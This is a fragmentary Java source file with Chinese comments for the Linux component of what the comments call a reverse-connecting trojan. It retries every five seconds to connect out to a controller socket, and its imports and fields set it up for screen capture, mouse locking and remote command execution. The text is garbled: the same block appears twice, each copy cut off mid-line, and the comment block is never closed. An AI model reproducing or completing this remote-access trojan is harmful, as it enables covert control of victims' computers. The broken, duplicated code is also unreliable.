/*
* 目标电脑操作系统是LINUX时 调用此模块
import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Enumeration;
import javax.imageio.ImageIO;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
public class ServerLin {
// 开启Socket 连接的哨兵
boolean link = false;
//Robot类的哨兵 Robot类实现抓屏
boolean end=false;
Socket socket;
String osName;
DataInputStream dis;
DataOutputStream dos;
String commendString;
Process process;
Runtime r = Runtime.getRuntime();
BufferedReader bufferedReader;
BufferedImage bi;
Robot robot;
MouseLockThread mouseLockThread;
int time[] = { 5000, 120000, 300000 }, timeSel = 0;
public ServerLin(String str) {
//传入操作系统名字
this.osName = str;
while (!link) {
try {
Thread.sleep(5000); //每隔5秒
//指定socketServer IP地址和socketServer 监听端口
//如果与控制端的连接没有建立 会抛出Connection refused 例外
socket = new Socket("127.0.0.1", 1220);
//sock哨兵 不在重复创建连接
link = true;
System.out.println("***Client is already on the line***");
} catch (ConnectException e1) {
// 连接被拒绝后跳到此处
System.out.println("Listen every 5 seconds.");
//重新建立连接 直到建立连接为止
continue;
// e1.printStackTrace();
} catch (InterruptedException e) {
// TODO Aut
* 目标电脑操作系统是LINUX时 调用此模块
* 反弹木马 由服务端主动连接客户端
windows环境下的木马服务端与linux类似,需要改动的地方主要是路径及调用cmd来执行命令响应
import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Enumeration;
import javax.imageio.ImageIO;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
public class ServerLin {
// 开启Socket 连接的哨兵
boolean link = false;
//Robot类的哨兵 Robot类实现抓屏
boolean end=false;
Socket socket;
String osName;
DataInputStream dis;
DataOutputStream dos;
String commendString;
Process process;
Runtime r = Runtime.getRuntime();
BufferedReader bufferedReader;
BufferedImage bi;
Robot robot;
MouseLockThread mouseLockThread;
int time[] = { 5000, 120000, 300000 }, timeSel = 0;
public ServerLin(String str) {
//传入操作系统名字
this.osName = str;
while (!link) {
try {
Thread.sleep(5000); //每隔5秒
//指定socketServer IP地址和socketServer 监听端口
//如果与控制端的连接没有建立 会抛出Connection refused 例外
socket = new Socket("127.0.0.1", 1220);
//sock哨兵 不在重复创建连接
link = true;
System.out.println("***Client is already on the line***");
} catch (ConnectException e1) {
// 连接被拒绝后跳到此处
System.out.println("Listen every 5 seconds.");
//重新建立连接 直到建立连接为止
continue;
// e1.printStackTrace();
} catch (InterruptedException e) {
// TODO Aut